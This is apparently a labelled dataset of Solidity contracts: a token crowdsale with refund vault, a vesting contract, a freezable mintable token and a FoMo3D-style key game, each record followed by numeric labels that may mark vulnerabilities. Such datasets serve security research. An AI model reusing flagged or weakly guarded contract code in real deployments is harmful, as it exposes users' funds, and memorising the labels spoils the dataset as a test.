buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
weiRaised = weiRaised.add(weiAmount);
token.issue(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
function getRate() public view returns (uint256) {
return rate;
}
}
contract FinalizableCrowdsale is Crowdsale, Claimable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract SirinCrowdsale is FinalizableCrowdsale {
uint8 public constant MAX_TOKEN_GRANTEES = 10;
uint256 public constant EXCHANGE_RATE = 500;
uint256 public constant REFUND_DIVISION_RATE = 2;
modifier onlyWhileSale() {
require(isActive());
_;
}
address public walletTeam;
address public walletOEM;
address public walletBounties;
address public walletReserve;
uint256 public fiatRaisedConvertedToWei;
address[] public presaleGranteesMapKeys;
mapping (address => uint256) public presaleGranteesMap;
RefundVault public refundVault;
event GrantAdded(address indexed _grantee, uint256 _amount);
event GrantUpdated(address indexed _grantee, uint256 _oldAmount, uint256 _newAmount);
event GrantDeleted(address indexed _grantee, uint256 _hadAmount);
event FiatRaisedUpdated(address indexed _address, uint256 _fiatRaised);
event TokenPurchaseWithGuarantee(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function SirinCrowdsale(uint256 _startTime,
uint256 _endTime,
address _wallet,
address _walletTeam,
address _walletOEM,
address _walletBounties,
address _walletReserve,
SirinSmartToken _sirinSmartToken,
RefundVault _refundVault)
public
Crowdsale(_startTime, _endTime, EXCHANGE_RATE, _wallet, _sirinSmartToken) {
require(_walletTeam != address(0));
require(_walletOEM != address(0));
require(_walletBounties != address(0));
require(_walletReserve != address(0));
require(_sirinSmartToken != address(0));
require(_refundVault != address(0));
walletTeam = _walletTeam;
walletOEM = _walletOEM;
walletBounties = _walletBounties;
walletReserve = _walletReserve;
token = _sirinSmartToken;
refundVault = _refundVault;
}
function getRate() public view returns (uint256) {
if (now < (startTime.add(24 hours))) {return 1000;}
if (now < (startTime.add(2 days))) {return 950;}
if (now < (startTime.add(3 days))) {return 900;}
if (now < (startTime.add(4 days))) {return 855;}
if (now < (startTime.add(5 days))) {return 810;}
if (now < (startTime.add(6 days))) {return 770;}
if (now < (startTime.add(7 days))) {return 730;}
if (now < (startTime.add(8 days))) {return 690;}
if (now < (startTime.add(9 days))) {return 650;}
if (now < (startTime.add(10 days))) {return 615;}
if (now < (startTime.add(11 days))) {return 580;}
if (now < (startTime.add(12 days))) {return 550;}
if (now < (startTime.add(13 days))) {return 525;}
return rate;
}
function finalization() internal onlyOwner {
super.finalization();
for (uint256 i = 0; i < presaleGranteesMapKeys.length; i++) {
token.issue(presaleGranteesMapKeys[i], presaleGranteesMap[presaleGranteesMapKeys[i]]);
}
uint256 newTotalSupply = token.totalSupply().mul(250).div(100);
token.issue(walletTeam, newTotalSupply.mul(10).div(100));
token.issue(walletOEM, newTotalSupply.mul(10).div(100));
token.issue(walletBounties, newTotalSupply.mul(5).div(100));
token.issue(walletReserve, newTotalSupply.mul(35).div(100));
token.disableTransfers(false);
token.setDestroyEnabled(true);
refundVault.enableRefunds();
token.transferOwnership(owner);
refundVault.transferOwnership(owner);
}
function getTotalFundsRaised() public view returns (uint256) {
return fiatRaisedConvertedToWei.add(weiRaised);
}
function isActive() public view returns (bool) {
return now >= startTime && now < endTime;
}
function addUpdateGrantee(address _grantee, uint256 _value) external onlyOwner onlyWhileSale{
require(_grantee != address(0));
require(_value > 0);
if (presaleGranteesMap[_grantee] == 0) {
require(presaleGranteesMapKeys.length < MAX_TOKEN_GRANTEES);
presaleGranteesMapKeys.push(_grantee);
GrantAdded(_grantee, _value);
}
else {
GrantUpdated(_grantee, presaleGranteesMap[_grantee], _value);
}
presaleGranteesMap[_grantee] = _value;
}
function deleteGrantee(address _grantee) external onlyOwner onlyWhileSale {
require(_grantee != address(0));
require(presaleGranteesMap[_grantee] != 0);
delete presaleGranteesMap[_grantee];
uint256 index;
for (uint256 i = 0; i < presaleGranteesMapKeys.length; i++) {
if (presaleGranteesMapKeys[i] == _grantee) {
index = i;
break;
}
}
presaleGranteesMapKeys[index] = presaleGranteesMapKeys[presaleGranteesMapKeys.length - 1];
delete presaleGranteesMapKeys[presaleGranteesMapKeys.length - 1];
presaleGranteesMapKeys.length--;
GrantDeleted(_grantee, presaleGranteesMap[_grantee]);
}
function setFiatRaisedConvertedToWei(uint256 _fiatRaisedConvertedToWei) external onlyOwner onlyWhileSale {
fiatRaisedConvertedToWei = _fiatRaisedConvertedToWei;
FiatRaisedUpdated(msg.sender, fiatRaisedConvertedToWei);
}
function claimTokenOwnership() external onlyOwner {
token.claimOwnership();
}
function claimRefundVaultOwnership() external onlyOwner {
refundVault.claimOwnership();
}
function buyTokensWithGuarantee() public payable {
require(validPurchase());
uint256 weiAmount = msg.value;
uint256 tokens = weiAmount.mul(getRate());
tokens = tokens.div(REFUND_DIVISION_RATE);
weiRaised = weiRaised.add(weiAmount);
token.issue(address(refundVault), tokens);
refundVault.deposit.value(msg.value)(msg.sender, tokens);
TokenPurchaseWithGuarantee(msg.sender, address(refundVault), weiAmount, tokens);
}
} | 1 | 4,199 |
pragma solidity ^0.4.13;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256 _duration,
bool _revocable
)
public
{
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
emit Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
emit Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (block.timestamp < cliff) {
return 0;
} else if (block.timestamp >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(block.timestamp.sub(start)).div(duration);
}
}
}
contract VariableRateTokenVesting is TokenVesting {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
uint256[] public cumulativeRates;
uint256 public interval;
constructor(
address _beneficiary,
uint256 _start,
uint256 _cliff,
uint256[] _cumulativeRates,
uint256 _interval
) public
TokenVesting(_beneficiary, _start, _cliff, ~uint256(0), true)
{
for (uint256 i = 0; i < _cumulativeRates.length; ++i) {
require(_cumulativeRates[i] <= 100);
if (i > 0) {
require(_cumulativeRates[i] >= _cumulativeRates[i - 1]);
}
}
cumulativeRates = _cumulativeRates;
interval = _interval;
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
if (now < cliff) {
return 0;
}
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
uint256 timeSinceStart = now.sub(start);
uint256 currentPeriod = timeSinceStart.div(interval);
if (currentPeriod >= cumulativeRates.length) {
return totalBalance;
}
return totalBalance.mul(cumulativeRates[currentPeriod]).div(100);
}
} | 0 | 1,445 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "BALTHAZAR";
string public constant TOKEN_SYMBOL = "BLTZ";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0xcd73B5ef5280CB04Cd91Fd1df96B31EB256423Fc;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,648 |
pragma solidity ^0.4.24;
contract ZaynixKeyevents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 ZaynixKeyAmount,
uint256 genAmount,
uint256 potAmount
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 ZaynixKeyAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 ZaynixKeyAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 ZaynixKeyAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract ZaynixKey is ZaynixKeyevents {
using SafeMath for *;
using NameFilter for string;
using KeysCalc for uint256;
PlayerBookInterface private PlayerBook;
address private admin = msg.sender;
address private flushDivs;
string constant public name = "ZaynixKey";
string constant public symbol = "ZaynixKey";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 1 minutes;
uint256 private rndInit_ = 25 hours;
uint256 constant private rndInc_ = 300 seconds;
uint256 private rndMax_ = 72 hours;
uint256[6] private timerLengths = [30 minutes,60 minutes,120 minutes,360 minutes,720 minutes,1440 minutes];
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => ZaynixKeyDatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => ZaynixKeyDatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => ZaynixKeyDatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => ZaynixKeyDatasets.TeamFee) public fees_;
mapping (uint256 => ZaynixKeyDatasets.PotSplit) public potSplit_;
constructor(address whaleContract, address playerbook)
public
{
flushDivs = whaleContract;
PlayerBook = PlayerBookInterface(playerbook);
fees_[0] = ZaynixKeyDatasets.TeamFee(49,10);
potSplit_[0] = ZaynixKeyDatasets.PotSplit(15,10);
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0);
require(_addr == tx.origin);
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, _eventData_);
}
function buyXid(uint256 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
buyCore(_pID, _affCode, _eventData_);
}
function buyXaddr(address _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function buyXname(bytes32 _affCode)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
ZaynixKeyDatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
buyCore(_pID, _affID, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
ZaynixKeyDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
reLoadCore(_pID, _affCode, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
ZaynixKeyDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
ZaynixKeyDatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
reLoadCore(_pID, _affID, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
ZaynixKeyDatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit ZaynixKeyevents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.ZaynixKeyAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit ZaynixKeyevents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit ZaynixKeyevents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
